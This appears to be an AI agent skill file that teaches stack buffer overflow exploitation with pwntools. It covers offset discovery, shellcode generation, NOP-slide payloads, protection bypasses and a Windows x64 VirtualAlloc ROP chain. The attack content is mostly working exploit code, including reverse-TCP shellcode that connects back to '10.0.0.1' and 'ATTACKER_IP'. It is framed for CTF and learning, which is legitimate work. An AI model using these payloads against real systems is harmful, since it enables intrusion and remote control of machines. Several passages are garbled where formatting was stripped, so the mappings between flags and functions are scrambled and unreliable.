Hacktricks-skills stack-shellcode-exploit
Create stack shellcode exploits for binary exploitation challenges. Use this skill whenever the user mentions buffer overflow, stack overflow, shellcode, ret2shellcode, EIP/RIP overwrite, pwntools exploitation, or needs to write an exploit that executes arbitrary code via stack-based vulnerabilities. Also trigger for Windows x64 ROP chains with VirtualAlloc to bypass NX/DEP protections.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode/SKILL.MDStack Shellcode Exploitation
This skill helps you create stack shellcode exploits for binary exploitation challenges. The technique involves writing shellcode to a vulnerable program's stack and overwriting the instruction pointer (EIP/RIP) to redirect execution to that shellcode.
When to Use This Skill
- Buffer overflow challenges with stack-based vulnerabilities
- CTF pwn challenges requiring code execution
- Exploits needing to bypass NX/DEP via ROP chains
- Windows x64 exploitation with VirtualAlloc/VirtualProtect
- Any scenario where you need to execute arbitrary code via stack overflow
Core Technique
1. Identify the Vulnerability
Look for unsafe functions like:
- no bounds checkinggets()
- no length limitstrcpy()
- no buffer sizesprintf()
withscanf()
- no width specifier%s
2. Compile with Protections Disabled
For testing/learning, compile vulnerable binaries with:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
Flags explained:
: Disables stack canaries-fno-stack-protector
: Makes stack executable (required for shellcode)-z execstack
: Disables PIE for predictable addresses-no-pie
: 32-bit mode (simpler for learning)-m32
3. Find the Offset to EIP/RIP
Use cyclic patterns to find where the buffer overflows into the return address:
from pwn import * # Generate cyclic pattern pattern = cyclic(200) # Send to vulnerable program p = process('./vulnerable') p.sendline(pattern) # After crash, find offset from EIP value offset = cyclic_find(0x6161616c) # Replace with actual EIP value print(f"Offset to EIP: {offset}")
4. Generate Shellcode
Use pwntools to generate appropriate shellcode:
from pwn import * # Linux shellcode for shell shellcode = asm(shellcraft.sh()) # Windows reverse shell shellcode = asm(shellcraft.amd64.windows.reverse_tcp("10.0.0.1", 4444)) # Custom shellcode shellcode = asm(shellcraft.linux.x86.execve("/bin/sh"))
5. Build the Payload
# NOP slide + shellcode + padding + return address nop_slide = asm('nop') * 16 payload = nop_slide + shellcode payload += b'A' * (offset - len(payload)) # Fill to EIP payload += p32(0xffffcfb4) # Address in NOP slide
Protection Bypasses
Stack Canaries
- Disable:
-fno-stack-protector - Bypass: Leak canary via format string, then include it in payload
NX/DEP (Non-Executable Stack)
- Disable:
-z execstack - Bypass: Use ROP chain to call
(Linux) ormprotect()
(Windows)VirtualAlloc()
ASLR (Address Space Layout Randomization)
- Disable:
or compile withsetarch $(uname -m) -R ./vulnerable-no-pie - Bypass: Leak an address, calculate base, compute target addresses
PIE (Position Independent Executable)
- Disable:
-no-pie - Bypass: Leak program base address, calculate offsets
Windows x64: VirtualAlloc ROP Chain
On modern Windows, the stack is non-executable. Use ROP to call
VirtualAlloc to make stack executable:
Calling Convention (Win64)
VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) - RCX = lpAddress (stack address) - RDX = dwSize (e.g., 0x1000) - R8 = MEM_COMMIT (0x1000) - R9 = PAGE_EXECUTE_READWRITE (0x40)
ROP Chain Structure
from pwn import * base = 0x7ff6693b0000 # Module base (leak or known) IAT_VirtualAlloc = base + 0x400000 # Resolve from IAT rop = b'' # R9 = 0x40 (PAGE_EXECUTE_READWRITE) rop += p64(base + POP_R9_RET) + p64(0x40) # R8 = 0x1000 (MEM_COMMIT) - use arithmetic if no POP R8 rop += p64(base + POP_R8_RET) + p64(0x1000) # RCX = stack address (RSP) rop += p64(base + LEA_RCX_RSP_RET) # RDX = size rop += p64(base + POP_RDX_RET) + p64(0x1000) # Call VirtualAlloc rop += p64(IAT_VirtualAlloc) # Shellcode after chain rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", PORT))
Common Gadget Patterns
# Set R9 from RSP-derived value rop += p64(base + POP_RBX_RET) + p64(0x40) rop += p64(base + MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' # Move RSP to RCX rop += p64(base + POP_RBX_RET) + p64(0) rop += p64(base + XOR_RBX_RSP_RET) rop += p64(base + PUSH_RBX_POP_RAX_RET) rop += p64(base + MOV_RCX_RAX_RET) # Arithmetic for R8 if no POP R8 for _ in range(0x1000 // 0x40): rop += p64(base + ADD_R8_R9_ADD_RAX_R8_RET)
Complete Exploit Template
Use the
create_stack_exploit.py script (bundled with this skill) as a starting point. It provides:
- Offset finding with cyclic patterns
- Shellcode generation for common scenarios
- Payload construction with NOP slides
- Interactive mode for testing
Debugging Tips
- GDB with pwndbg/gef: Essential for seeing registers and memory
- Check for crashes: Use
to verify offsetcyclic_find() - Verify shellcode: Test with
firstasm(shellcraft.sh()) - Address validation: Ensure return address is in NOP slide
- Stack alignment: Some functions require 16-byte alignment
Common Pitfalls
- Wrong architecture: Ensure
for 32-bit or proper 64-bit handling-m32 - Bad characters: Shellcode may contain null bytes or newlines that break the exploit
- Address calculation: Double-check offset and return address math
- Protection flags: Verify all protections are disabled or bypassed
- Timing issues: Some exploits need precise timing for race conditions
References
Next Steps
- Run
to generate a templatecreate_stack_exploit.py - Adjust for your specific binary (offset, addresses, shellcode)
- Test in GDB to verify the exploit works
- Handle protections if they're enabled
- For Windows, use the ROP chain pattern with VirtualAlloc